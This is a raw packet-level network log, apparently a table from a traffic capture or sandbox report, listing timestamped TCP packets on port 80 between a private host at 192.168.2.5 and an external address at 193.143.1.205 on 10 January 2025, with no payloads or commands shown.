Jan 10, 2025 19:07:59.609905958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.617748022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.645384073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.645411015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.645428896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.645452023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.645467997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.645505905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.645513058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.645558119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.681415081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681452990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681469917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681495905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681513071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681528091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681535006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.681544065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681561947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681580067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681590080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.681612015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.681674957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681716919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.681724072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681926012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681967020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.681974888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.681992054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.682034969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.682037115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.682050943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.682090998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720124960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720184088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720221043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720243931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720273972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720314980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720325947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720349073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720385075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720391035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720419884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720454931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720465899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720508099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720542908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720552921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720577002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720609903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720623016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720659971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720694065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720710039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720729113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720767021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720772982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720804930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720850945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720855951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720890999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720932007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.720932961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.720966101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721004009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721016884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721050978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721085072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721111059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721117973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721153021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721158981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721185923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721220016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721229076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721252918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721286058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721297026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721321106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721355915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721364021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721390009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721426964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721447945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721482038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721523046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721533060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721566916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721601009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721606016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721637011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721688032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721688986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721720934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721755028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721756935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721790075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721832037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721877098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721910954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721946955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.721966982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.721982002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722016096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722023964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.722052097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722088099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722093105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.722362041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722407103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.722415924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722450972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722493887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.722522974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722575903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722609997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722625017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.722645998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722691059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.722696066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722735882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722770929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722779036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.722924948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722959995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.722969055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.723052979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723089933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.723120928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723155022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723191023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723198891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.723226070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723267078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.723604918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723654032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723695993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.723702908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723737001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723773956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.723788023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723823071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723856926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723864079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.723891020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723925114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723938942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.723958969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723979950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.723994970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724001884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.724010944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724025965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724031925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.724041939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724056959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724073887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724081993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.724114895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.724282980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724298954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724315882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724318981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.724332094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724355936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.724375010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724392891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.724416018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.727153063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.773778915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.773806095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.773821115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.773863077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.773878098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.773876905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.773920059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.773941994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.773958921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.773979902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.774023056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774038076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774054050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774055004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.774086952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.774117947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774133921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774163008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.774179935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774195910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774234056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.774285078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774326086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774343967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774358988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.774429083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774444103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774460077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774462938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.774491072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.774497032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.778381109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.809835911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.809869051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.809884071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.809914112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.809936047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.809984922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.809999943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810014963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810039997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810091019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810106039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810123920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810256958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810291052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810291052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810306072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810334921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810359955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810374022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810401917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810425997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810441971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810471058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810614109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810627937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810642958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810657024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810657978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810672045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810688972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810724974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810739040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810758114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810758114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810789108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810827017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810842037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810873032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810878992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810945034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810959101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810973883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.810976982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.810988903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811005116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811077118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811099052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811141968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811156034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811187029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811211109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811227083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811264992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811278105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811292887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811322927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811398983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811413050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811427116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811441898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811444044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811475039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811518908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811533928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811558008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811563015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811572075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811587095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811600924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811602116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811616898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811636925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811841965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811862946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811877012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811877012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811892033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811906099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811914921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811919928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811934948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811939001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.811949968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811964989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811979055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.811984062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.812000990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.812006950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.812035084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.812201023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.812216043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.812231064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.812243938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.812252045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.812277079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815021992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815037012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815052032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815071106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815102100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815134048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815135002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815150976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815180063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815210104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815224886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815238953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815253973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815254927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815289021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815334082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815347910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815362930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815376997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815377951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815409899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815457106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815476894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815491915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815506935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815507889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815536976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815542936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815557003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.815584898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.815670967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.845860004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.845895052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.845910072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.845932961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.845947027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.845989943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.846033096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.846071959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.846086979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.846102953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.846105099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.846148014 CET	49704	80	192.168.2.5	193.143.1.205
